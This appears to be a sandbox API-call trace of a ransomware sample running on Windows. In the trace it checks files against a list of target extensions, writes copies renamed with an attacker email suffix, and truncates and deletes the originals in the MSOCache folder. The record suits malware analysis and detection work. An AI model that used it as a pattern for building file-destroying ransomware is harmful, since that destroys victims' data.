	[0093.104] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x1920, lpOverlapped=0x0) returned 1
	[0093.105] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.105] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0093.106] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.106] CloseHandle (hObject=0x1cc) returned 1
	[0093.106] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.106] SetEndOfFile (hFile=0x19c) returned 1
	[0093.107] CloseHandle (hObject=0x19c) returned 1
	[0093.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.108] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1
	[0093.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.108] lstrlenW (lpString=".doc") returned 4
	[0093.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.108] lstrlenW (lpString=".docx") returned 5
	[0093.108] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.108] lstrlenW (lpString=".pdf") returned 4
	[0093.108] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.108] lstrlenW (lpString=".xls") returned 4
	[0093.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.108] lstrlenW (lpString=".xlsx") returned 5
	[0093.108] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.108] lstrlenW (lpString=".ppt") returned 4
	[0093.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.108] lstrlenW (lpString=".zip") returned 4
	[0093.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.108] lstrlenW (lpString=".rar") returned 4
	[0093.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.108] lstrlenW (lpString=".bz2") returned 4
	[0093.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.108] lstrlenW (lpString=".7z") returned 3
	[0093.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.109] lstrlenW (lpString=".dbf") returned 4
	[0093.109] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.109] lstrlenW (lpString=".1cd") returned 4
	[0093.109] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.109] lstrlenW (lpString=".jpg") returned 4
	[0093.109] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.109] lstrlenW (lpString=".doc") returned 4
	[0093.109] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString=".docx") returned 5
	[0093.109] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.109] lstrlenW (lpString=".pdf") returned 4
	[0093.109] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString=".xls") returned 4
	[0093.109] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString=".xlsx") returned 5
	[0093.109] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.109] lstrlenW (lpString=".ppt") returned 4
	[0093.109] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.109] lstrlenW (lpString=".zip") returned 4
	[0093.109] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.109] lstrlenW (lpString=".rar") returned 4
	[0093.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString=".bz2") returned 4
	[0093.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.109] lstrlenW (lpString=".7z") returned 3
	[0093.109] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.110] lstrlenW (lpString=".dbf") returned 4
	[0093.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.110] lstrlenW (lpString=".1cd") returned 4
	[0093.110] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76
	[0093.110] lstrlenW (lpString=".jpg") returned 4
	[0093.110] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.110] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.110] lstrlenW (lpString="Setup.xml") returned 9
	[0093.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.110] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=16683) returned 1
	[0093.110] CloseHandle (hObject=0x19c) returned 1
	[0093.110] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0093.110] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.111] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.111] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.111] GetLastError () returned 0x0
	[0093.111] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x412b, lpOverlapped=0x0) returned 1
	[0093.180] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x4130, lpOverlapped=0x0) returned 1
	[0093.181] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.181] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0093.181] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.182] CloseHandle (hObject=0x1cc) returned 1
	[0093.182] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.182] SetEndOfFile (hFile=0x19c) returned 1
	[0093.183] CloseHandle (hObject=0x19c) returned 1
	[0093.183] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.183] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString=".doc") returned 4
	[0093.184] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString=".docx") returned 5
	[0093.184] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.184] lstrlenW (lpString=".pdf") returned 4
	[0093.184] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString=".xls") returned 4
	[0093.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString=".xlsx") returned 5
	[0093.184] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.184] lstrlenW (lpString=".ppt") returned 4
	[0093.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString=".zip") returned 4
	[0093.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.184] lstrlenW (lpString=".rar") returned 4
	[0093.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString=".bz2") returned 4
	[0093.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString=".7z") returned 3
	[0093.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString=".dbf") returned 4
	[0093.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString=".1cd") returned 4
	[0093.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString=".jpg") returned 4
	[0093.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.184] lstrlenW (lpString=".doc") returned 4
	[0093.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString=".docx") returned 5
	[0093.185] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0093.185] lstrlenW (lpString=".pdf") returned 4
	[0093.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString=".xls") returned 4
	[0093.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString=".xlsx") returned 5
	[0093.185] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0093.185] lstrlenW (lpString=".ppt") returned 4
	[0093.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.185] lstrlenW (lpString=".zip") returned 4
	[0093.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.185] lstrlenW (lpString=".rar") returned 4
	[0093.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString=".bz2") returned 4
	[0093.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString=".7z") returned 3
	[0093.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.185] lstrlenW (lpString=".dbf") returned 4
	[0093.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.185] lstrlenW (lpString=".1cd") returned 4
	[0093.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.185] lstrlenW (lpString=".jpg") returned 4
	[0093.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.185] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.185] lstrlenW (lpString="Office32WW.xml") returned 14
	[0093.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.187] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=4274) returned 1
	[0093.187] CloseHandle (hObject=0x19c) returned 1
	[0093.187] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020
	[0093.187] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.187] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.187] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0093.188] GetLastError () returned 0x0
	[0093.188] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0093.201] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0093.202] ReadFile (in: hFile=0x19c, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.202] WriteFile (in: hFile=0x1cc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0093.202] SetEndOfFile (hFile=0x1cc) returned 1
	[0093.202] CloseHandle (hObject=0x1cc) returned 1
	[0093.203] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.203] SetEndOfFile (hFile=0x19c) returned 1
	[0093.204] CloseHandle (hObject=0x19c) returned 1
	[0093.204] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.204] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1
	[0093.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.204] lstrlenW (lpString=".doc") returned 4
	[0093.204] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.204] lstrlenW (lpString=".docx") returned 5
	[0093.204] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.204] lstrlenW (lpString=".pdf") returned 4
	[0093.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".xls") returned 4
	[0093.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".xlsx") returned 5
	[0093.205] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.205] lstrlenW (lpString=".ppt") returned 4
	[0093.205] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.205] lstrlenW (lpString=".zip") returned 4
	[0093.205] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.205] lstrlenW (lpString=".rar") returned 4
	[0093.205] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".bz2") returned 4
	[0093.205] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".7z") returned 3
	[0093.205] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.205] lstrlenW (lpString=".dbf") returned 4
	[0093.205] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.205] lstrlenW (lpString=".1cd") returned 4
	[0093.205] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.205] lstrlenW (lpString=".jpg") returned 4
	[0093.205] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.205] lstrlenW (lpString=".doc") returned 4
	[0093.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".docx") returned 5
	[0093.205] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.205] lstrlenW (lpString=".pdf") returned 4
	[0093.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".xls") returned 4
	[0093.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.205] lstrlenW (lpString=".xlsx") returned 5
	[0093.205] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.205] lstrlenW (lpString=".ppt") returned 4
	[0093.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.206] lstrlenW (lpString=".zip") returned 4
	[0093.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.206] lstrlenW (lpString=".rar") returned 4
	[0093.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.206] lstrlenW (lpString=".bz2") returned 4
	[0093.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.206] lstrlenW (lpString=".7z") returned 3
	[0093.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.206] lstrlenW (lpString=".dbf") returned 4
	[0093.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.206] lstrlenW (lpString=".1cd") returned 4
	[0093.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77
	[0093.206] lstrlenW (lpString=".jpg") returned 4
	[0093.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.206] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.206] lstrlenW (lpString="Setup.xml") returned 9
	[0093.206] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.206] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=20577) returned 1
	[0093.206] CloseHandle (hObject=0x19c) returned 1
	[0093.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0093.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0093.207] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.207] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
